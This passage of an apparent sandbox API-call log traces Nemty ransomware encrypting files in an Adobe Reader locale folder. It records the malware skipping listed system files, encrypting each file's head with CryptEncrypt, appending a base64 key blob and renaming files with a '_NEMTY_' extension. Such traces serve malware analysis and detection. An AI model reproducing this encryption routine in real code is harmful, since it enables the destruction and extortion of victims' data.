ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.DAN", cAlternateFileName="")) returned 1 [0174.723] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2=".") returned 1 [0174.723] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="..") returned 1 [0174.723] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="...") returned 1 [0174.723] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="windows") returned -1 [0174.723] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.723] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="rsa") returned -1 [0174.723] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="NTDETECT.COM") returned 1 [0174.723] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="ntldr") returned 1 [0174.723] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="MSDOS.SYS") returned 1 [0174.723] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="IO.SYS") returned 1 [0174.723] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="boot.ini") returned 1 [0174.723] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="boot.ini") returned 1 [0174.723] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.724] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="ntuser.dat") returned 1 [0174.724] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="desktop.ini") returned 1 [0174.724] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="CONFIG.SYS") returned 1 [0174.724] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="RECYCLER") returned -1 [0174.724] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.724] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="bootmgr") returned 1 [0174.724] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="programdata") returned -1 [0174.724] lstrcmpiW (lpString1="PPKLITE.DAN", lpString2="appdata") returned 1 [0174.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DAN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DAN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DAN", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DAN", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.724] Sleep (dwMilliseconds=0x5) [0174.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bcbce10, dwHighDateTime=0x1d561e8)) [0174.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bcbce10, dwHighDateTime=0x1d561e8)) [0174.733] GetLastError () returned 0x0 [0174.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.733] GetLastError () returned 0x0 [0174.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.734] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.734] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.734] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.734] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="brBvAurNM1hgjAQpgMa6QUX8HDO8LJ2WbZFeanEQikj9fymuLgd3IT598czeLjzj\r\ngFiDljoY4wDOmaZGQ/Q/XHc7xhtFsQBLFRcio6CsYqg8bac44mwiAEO7gfG12PHH\r\neUkpttjMVJ6Zf6qLPENznvZ8qprmJvWZn9Fmet//+c+aMAQDHEjnJFqPVKWw2yKv\r\nQ24BKJ6qiuqG2nLuzR57HsFpAuhKHakEB19pY4VgFb0MeGuNlaxm2eo7Wd2MOPJF\r\nVZDD+OSP/gtAF1UU6wRhgiSdgU3jbMc1e+7i81nenk/NprPthFZ2MMM5x5yzOonr\r\nrNl5cTndqHE40LWe7NnNzQ==\r\n", pcchString=0x653e5dc) returned 1 [0174.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\PPKLITE.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ppklite.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.734] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=520192) returned 1 [0174.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0174.734] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.734] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0174.743] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.743] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0174.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.743] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=520192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f000 [0174.743] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.744] CloseHandle (hObject=0x2e8) returned 1 [0174.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.744] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\PPKLITE.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ppklite.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\PPKLITE.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ppklite.dan._nemty_kgobjgd_")) returned 1 [0174.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.745] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x144c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.DAN", cAlternateFileName="")) returned 1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2=".") returned 1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="..") returned 1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="...") returned 1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="windows") returned -1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="rsa") returned -1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="NTDETECT.COM") returned 1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="ntldr") returned 1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="MSDOS.SYS") returned 1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="IO.SYS") returned 1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="boot.ini") returned 1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="boot.ini") returned 1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.745] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="ntuser.dat") returned 1 [0174.746] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="desktop.ini") returned 1 [0174.746] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="CONFIG.SYS") returned 1 [0174.746] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="RECYCLER") returned -1 [0174.746] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.746] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="bootmgr") returned 1 [0174.746] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="programdata") returned 1 [0174.746] lstrcmpiW (lpString1="RdLang32.DAN", lpString2="appdata") returned 1 [0174.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DAN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DAN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DAN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DAN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.746] Sleep (dwMilliseconds=0x5) [0174.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bce2f70, dwHighDateTime=0x1d561e8)) [0174.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bce2f70, dwHighDateTime=0x1d561e8)) [0174.749] GetLastError () returned 0x0 [0174.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.749] GetLastError () returned 0x0 [0174.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.749] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.749] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.749] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.749] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="uvGHASTipL9+4qF4ht78nP3EeVh1LRdWYLqnUlpC8rXq2RBR4jZNllzEI4qUva3n\r\n0AbIyYu3wg2K2u4FBW+rIRMVsJUq9wi3flZVscW858buGrK5MGQ9cEAK53wkpMVw\r\nvj+HfN2v4Ign9E9wCYw8nO8uP8kZwEFN4ek+8Kr3vqNkqKh+3NI3InCK3dAQj/MD\r\nf5DqvqHJQOXlQpP8Ck130sptBvH88M60SPtLN+cVkZs7/Thtvy9wJc0K3nqnZiY4\r\n/RdXSXhQTeRSrhvuvQXlDmDtHgZskQ24mGCs/qPzMrigACC+7p0VVIMjli10UUAS\r\nfLbQC/TnTUSqfAky0kWZaw==\r\n", pcchString=0x653e5dc) returned 1 [0174.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.750] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\RdLang32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\rdlang32.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.750] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1330176) returned 1 [0174.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0174.751] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.751] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0174.762] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.762] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0174.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.762] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1330176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144c00 [0174.762] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.764] CloseHandle (hObject=0x2e8) returned 1 [0174.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.764] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\RdLang32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\rdlang32.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\RdLang32.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\rdlang32.dan._nemty_kgobjgd_")) returned 1 [0174.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 